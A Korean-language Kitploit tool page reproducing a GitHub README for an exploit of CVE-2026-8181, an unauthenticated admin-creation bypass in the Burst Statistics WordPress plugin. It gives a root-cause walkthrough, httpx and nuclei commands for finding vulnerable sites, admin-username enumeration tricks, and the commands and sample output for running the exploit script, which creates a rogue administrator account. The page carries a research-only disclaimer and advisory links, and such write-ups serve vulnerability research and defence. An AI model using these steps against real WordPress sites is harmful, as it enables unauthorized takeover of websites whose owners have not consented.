Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/whattheslime/cve-2026-8181
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingAuthenticationRed Teaming
GitHubwhattheslime/cve-2026-8181

CVE-2026-8181

CVE-2026-8181 - Burst Statistics WordPress 플러그인 인증 우회 익스플로잇

저장소 보기
113개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-8181 익스플로잇

Burst Statistics WordPress 플러그인 — 인증 우회를 통한 관리자 권한 상승

CVE-2026-8181에 대한 익스플로잇으로, Chloe Chamberland와 PRISM이 발견했습니다.

⚠️ 고지 사항

이 저장소는 연구 및 방어적 보안 목적으로만 제공됩니다. 저자는 이 정보의 오용에 대해 책임을 지지 않습니다.


📌 개요

WordPress용 Burst Statistics – Privacy-Friendly WordPress Analytics 플러그인은 3.4.0부터 3.4.1.1까지의 버전에서 관리자 권한 상승으로 이어지는 인증 우회(Authentication Bypass) 취약점에 노출됩니다.

이 취약점은 플러그인의 MainWP 프록시에 있는 is_mainwp_authenticated() 메서드에 존재하며, 이 메서드는 wp_authenticate_application_password()의 반환 값이 WP_Error가 아니면 모두 성공적인 인증으로 잘못 처리합니다.

이로 인해 유효한 관리자 사용자 이름을 아는 인증되지 않은 공격자가 와 같은 WordPress 코어 엔드포인트를 포함한 할 수 있습니다. 기존 관리자의 자격 증명은 절대 노출되지 않지만, 공격자는 새로운 관리자 계정을 만들 수 있을 만큼 오랫동안 그 권한을 얻습니다.

POST /wp-json/wp/v2/users
모든 REST API 요청 동안 해당 관리자를 가장

🔬 근본 원인 분석

취약점 체인은 다음과 같습니다.

  1. includes/class-burst.php:41 -> 플러그인은 plugins_loaded 우선순위 9에서 init()을 등록하며, 이는 모든 요청(REST 포함)에 대해 bootstrap()을 실행하고 has_admin_access()를 호출합니다.

  2. includes/Traits/trait-admin-helper.php:202 -> 요청에 X-BurstMainWP: 1 헤더가 포함되면 has_admin_access()는 MainWP_Proxy를 인스턴스화하고 인증을 is_mainwp_authenticated()에 위임합니다.

  3. includes/Frontend/class-mainwp-proxy.php:314 -> 메서드는 Authorization 헤더를 읽고 Basic 자격 증명을 디코딩한 후 공격자가 제공한 username / password를 WordPress 코어의 wp_authenticate_application_password()로 전달합니다.

  4. includes/Frontend/class-mainwp-proxy.php:328-329 -> 반환 값은 is_wp_error()로만 확인됩니다. WordPress 코어는 Application Passwords가 사용 중이지 않거나 요청이 API 요청으로 표시되지 않은 경우 수정되지 않은 $input_user(여기서는 null)를 반환합니다. plugins_loaded 우선순위 9에서는 REST API가 아직 application_password_is_api_request 필터를 true로 설정하지 않았으므로 취약한 코드가 실행될 때 두 번째 조건은 항상 충족됩니다. 그리고 null은 WP_Error가 아니므로 검사가 통과됩니다.

  5. includes/Frontend/class-mainwp-proxy.php:336 -> wp_set_current_user( $user->ID )가 공격자가 제공한 사용자 이름만으로 조회된 사용자로 호출되어 전체 요청에 대해 전역 인증 사용자를 설정합니다.

따라서 가짜 비밀번호가 포함된 단일 HTTP 요청만으로 WordPress 코어 REST API 수준에서 모든 관리자를 가장할 수 있습니다.


🔎 플러그인 설치 감지

  1. 활성 플러그인 — 홈페이지 HTML은 플러그인이 로드될 때만 해당 에셋을 참조합니다:

    root@kitploit:~
    echo http://127.0.0.1:8000 | httpx -silent -mr '/wp-content/plugins/burst-statistics/'
    
  2. 버전 — readme.txt는 정적으로 제공되며 설치된 버전을 노출합니다 (취약: 3.4.0–3.4.1.1, 패치됨: 3.4.2+):

    root@kitploit:~
    echo http://127.0.0.1:8000 | httpx -silent -path /wp-content/plugins/burst-statistics/readme.txt -er 'Stable tag:\s*[0-9][0-9a-zA-Z.\-]*'
    

번들된 CVE-2026-8181.yaml nuclei 템플릿은 두 검사와 버전 비교를 자동화합니다:

root@kitploit:~
nuclei -t CVE-2026-8181.yaml -u http://127.0.0.1:8000

🎯 익스플로잇

취약한 플러그인 버전이 감지되면 악용하려면 유효한 관리자 사용자 이름을 알아야 합니다. WordPress의 REST API는 대부분의 설치에서 공개 사용자 엔드포인트를 통해 이를 노출합니다:

root@kitploit:~
echo http://127.0.0.1:8000 | httpx -silent -path '/wp-json/wp/v2/users' -er '"slug":"[^"]+"'

해당 엔드포인트가 잠겨 있는 경우(예: Disable REST API 또는 Stop User Enumeration 플러그인 사용), 작성자 아카이브 트릭(/?author=N)을 통해 /author/<username>/로의 리디렉션으로 사용자 이름이 여전히 유출되는 경우가 대부분입니다.

유효한 사용자 이름을 확보하면 익스플로잇은 단일 요청으로 새 관리자 계정을 생성합니다:

  1. Python 의존성을 설치합니다:

    root@kitploit:~
    python3 -m venv venv
    venv/bin/pip install -r requirements.txt
    
  2. -u 옵션으로 알려진 관리자 사용자 이름을 지정하여 타깃에 익스플로잇을 실행합니다:

    root@kitploit:~
    venv/bin/python3 CVE-2026-8181.py -t http://127.0.0.1:8000 -u admin
    

    출력 예시:

    root@kitploit:~
    [2026-05-16] [12:20:20] [info] [config] Impersonating admin='admin', will create new admin 'pwn_322a4903' / 'kS8D^2A^P^%UtWyuUS3p8%64' ([email protected]).
    [2026-05-16] [12:20:21] [success] [http://127.0.0.1:8000] Authentication bypass successful — new administrator created: username='pwn_322a4903' password='kS8D^2A^P^%UtWyuUS3p8%64'
    
  3. 새로 생성된 관리자 계정으로 /wp-admin/에 로그인합니다.


⚠️ 제한 사항

이 우회는 Authorization 헤더가 $_SERVER['HTTP_AUTHORIZATION']를 통해 PHP에 도달할 때만 동작합니다. 일반 고유주소(plain permalinks)를 사용하는 Apache + mod_php 환경(WordPress의 기본 설정)에서는 .htaccess가 생성되지 않아 헤더가 조용히 제거되므로 익스플로잇이 성공할 수 없습니다.

설정 → 고유주소에서 일반 고유주소가 아닌 다른 형식으로 변경하면 WordPress 5.6+가 RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] 지시문을 .htaccess에 기록하여 전달을 복원합니다. Nginx + PHP-FPM 및 LiteSpeed는 고유주소 설정과 관계없이 기본적으로 Authorization을 전달합니다. 운영 환경에서 pretty permalinks가 SEO 표준이기 때문에 이 취약점이 CVSS 9.8 무인증으로 평가되는 이유입니다.

익스플로잇은 먼저 /wp-json/wp/v2/users를 시도한 다음 /index.php?rest_route=/wp/v2/users로 폴백하므로 엔드포인트 라우팅은 결코 문제가 되지 않습니다. 오직 헤더 전달만이 문제입니다.


📚 참고 자료

  • https://www.wordfence.com/blog/2026/05/200000-wordpress-sites-at-risk-from-critical-authentication-bypass-vulnerability-in-burst-statistics-plugin/
  • https://www.wordfence.com/threat-intel/vulnerabilities/id/8ca830d6-3d3c-4026-85cd-8447b8a568d3
  • https://www.cve.org/CVERecord?id=CVE-2026-8181
도구 다운로드